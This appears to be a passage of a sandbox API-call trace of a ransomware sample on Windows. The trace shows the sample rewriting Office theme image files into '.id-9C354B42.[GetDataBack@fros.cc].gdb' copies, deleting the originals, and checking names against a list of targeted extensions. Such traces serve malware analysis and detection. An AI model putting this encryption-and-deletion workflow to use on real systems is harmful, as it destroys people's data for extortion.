0xffffffff [0125.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.522] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.522] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0125.522] GetLastError () returned 0x0 [0125.522] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xbbf3, lpOverlapped=0x0) returned 1 [0125.524] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xbc00, lpOverlapped=0x0) returned 1 [0125.525] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.526] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0125.526] SetEndOfFile (hFile=0x1c0) returned 1 [0125.526] CloseHandle (hObject=0x1c0) returned 1 [0125.526] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.526] SetEndOfFile (hFile=0x208) returned 1 [0125.527] CloseHandle (hObject=0x208) returned 1 [0125.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.527] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0125.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.527] lstrlenW (lpString=".doc") returned 4 [0125.527] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.527] lstrlenW (lpString=".docx") returned 5 [0125.527] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.527] lstrlenW (lpString=".pdf") returned 4 [0125.527] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.527] lstrlenW (lpString=".xls") returned 4 [0125.527] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.527] lstrlenW (lpString=".xlsx") returned 5 [0125.527] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.527] lstrlenW (lpString=".ppt") returned 4 [0125.527] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.528] lstrlenW (lpString=".zip") returned 4 [0125.528] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.528] lstrlenW (lpString=".rar") returned 4 [0125.528] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.528] lstrlenW (lpString=".bz2") returned 4 [0125.528] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.528] lstrlenW (lpString=".7z") returned 3 [0125.528] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.528] lstrlenW (lpString=".dbf") returned 4 [0125.528] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.528] lstrlenW (lpString=".1cd") returned 4 [0125.528] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.528] lstrlenW (lpString=".jpg") returned 4 [0125.528] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.528] lstrlenW (lpString=".doc") returned 4 [0125.528] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.528] lstrlenW (lpString=".docx") returned 5 [0125.528] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.528] lstrlenW (lpString=".pdf") returned 4 [0125.528] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.528] lstrlenW (lpString=".xls") returned 4 [0125.528] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.528] lstrlenW (lpString=".xlsx") returned 5 [0125.528] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.528] lstrlenW (lpString=".ppt") returned 4 [0125.528] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.528] lstrlenW (lpString=".zip") returned 4 [0125.528] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.528] lstrlenW (lpString=".rar") returned 4 [0125.528] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.528] lstrlenW (lpString=".bz2") returned 4 [0125.528] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.528] lstrlenW (lpString=".7z") returned 3 [0125.528] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.529] lstrlenW (lpString=".dbf") returned 4 [0125.529] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.529] lstrlenW (lpString=".1cd") returned 4 [0125.529] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0125.529] lstrlenW (lpString=".jpg") returned 4 [0125.529] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.529] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.529] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.529] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1364) returned 1 [0125.529] CloseHandle (hObject=0x208) returned 1 [0125.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0125.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.529] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.530] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0125.531] GetLastError () returned 0x0 [0125.531] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x554, lpOverlapped=0x0) returned 1 [0125.532] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x560, lpOverlapped=0x0) returned 1 [0125.533] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.533] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0125.533] SetEndOfFile (hFile=0x1c0) returned 1 [0125.533] CloseHandle (hObject=0x1c0) returned 1 [0125.533] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.534] SetEndOfFile (hFile=0x208) returned 1 [0125.534] CloseHandle (hObject=0x208) returned 1 [0125.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.534] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0125.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.535] lstrlenW (lpString=".doc") returned 4 [0125.535] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.535] lstrlenW (lpString=".docx") returned 5 [0125.535] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.535] lstrlenW (lpString=".pdf") returned 4 [0125.535] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.535] lstrlenW (lpString=".xls") returned 4 [0125.535] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.535] lstrlenW (lpString=".xlsx") returned 5 [0125.535] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.535] lstrlenW (lpString=".ppt") returned 4 [0125.535] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.535] lstrlenW (lpString=".zip") returned 4 [0125.535] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.535] lstrlenW (lpString=".rar") returned 4 [0125.535] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.535] lstrlenW (lpString=".bz2") returned 4 [0125.535] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.535] lstrlenW (lpString=".7z") returned 3 [0125.535] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.535] lstrlenW (lpString=".dbf") returned 4 [0125.535] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.535] lstrlenW (lpString=".1cd") returned 4 [0125.535] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.535] lstrlenW (lpString=".jpg") returned 4 [0125.535] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.535] lstrlenW (lpString=".doc") returned 4 [0125.535] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.535] lstrlenW (lpString=".docx") returned 5 [0125.535] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.535] lstrlenW (lpString=".pdf") returned 4 [0125.535] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.536] lstrlenW (lpString=".xls") returned 4 [0125.536] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.536] lstrlenW (lpString=".xlsx") returned 5 [0125.536] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.536] lstrlenW (lpString=".ppt") returned 4 [0125.536] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.536] lstrlenW (lpString=".zip") returned 4 [0125.536] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.536] lstrlenW (lpString=".rar") returned 4 [0125.536] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.536] lstrlenW (lpString=".bz2") returned 4 [0125.536] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.536] lstrlenW (lpString=".7z") returned 3 [0125.536] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.536] lstrlenW (lpString=".dbf") returned 4 [0125.536] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.536] lstrlenW (lpString=".1cd") returned 4 [0125.536] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0125.536] lstrlenW (lpString=".jpg") returned 4 [0125.536] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.536] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.536] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.536] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=11573) returned 1 [0125.537] CloseHandle (hObject=0x208) returned 1 [0125.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0125.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.537] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.537] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0125.539] GetLastError () returned 0x0 [0125.540] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x2d35, lpOverlapped=0x0) returned 1 [0125.541] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x2d40, lpOverlapped=0x0) returned 1 [0125.542] ReadFile (in: hFile=0x208, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0125.542] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0125.542] SetEndOfFile (hFile=0x1c0) returned 1 [0125.542] CloseHandle (hObject=0x1c0) returned 1 [0125.542] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0125.542] SetEndOfFile (hFile=0x208) returned 1 [0125.543] CloseHandle (hObject=0x208) returned 1 [0125.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.543] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0125.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.544] lstrlenW (lpString=".doc") returned 4 [0125.544] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.544] lstrlenW (lpString=".docx") returned 5 [0125.544] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.544] lstrlenW (lpString=".pdf") returned 4 [0125.544] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.544] lstrlenW (lpString=".xls") returned 4 [0125.544] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.544] lstrlenW (lpString=".xlsx") returned 5 [0125.544] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.544] lstrlenW (lpString=".ppt") returned 4 [0125.544] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.544] lstrlenW (lpString=".zip") returned 4 [0125.544] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.544] lstrlenW (lpString=".rar") returned 4 [0125.544] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.544] lstrlenW (lpString=".bz2") returned 4 [0125.544] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.544] lstrlenW (lpString=".7z") returned 3 [0125.544] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.544] lstrlenW (lpString=".dbf") returned 4 [0125.544] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.544] lstrlenW (lpString=".1cd") returned 4 [0125.544] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.544] lstrlenW (lpString=".jpg") returned 4 [0125.544] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.545] lstrlenW (lpString=".doc") returned 4 [0125.545] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.545] lstrlenW (lpString=".docx") returned 5 [0125.545] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.545] lstrlenW (lpString=".pdf") returned 4 [0125.545] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.545] lstrlenW (lpString=".xls") returned 4 [0125.545] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.545] lstrlenW (lpString=".xlsx") returned 5 [0125.545] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.545] lstrlenW (lpString=".ppt") returned 4 [0125.545] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.545] lstrlenW (lpString=".zip") returned 4 [0125.545] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.545] lstrlenW (lpString=".rar") returned 4 [0125.545] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.545] lstrlenW (lpString=".bz2") returned 4 [0125.545] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.545] lstrlenW (lpString=".7z") returned 3 [0125.545] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.545] lstrlenW (lpString=".dbf") returned 4 [0125.545] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.545] lstrlenW (lpString=".1cd") returned 4 [0125.545] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0125.545] lstrlenW (lpString=".jpg") returned 4 [0125.545] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.546] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.546] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0125.546] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=2574) returned 1 [0125.546] CloseHandle (hObject=0x208) returned 1 [0125.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0125.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 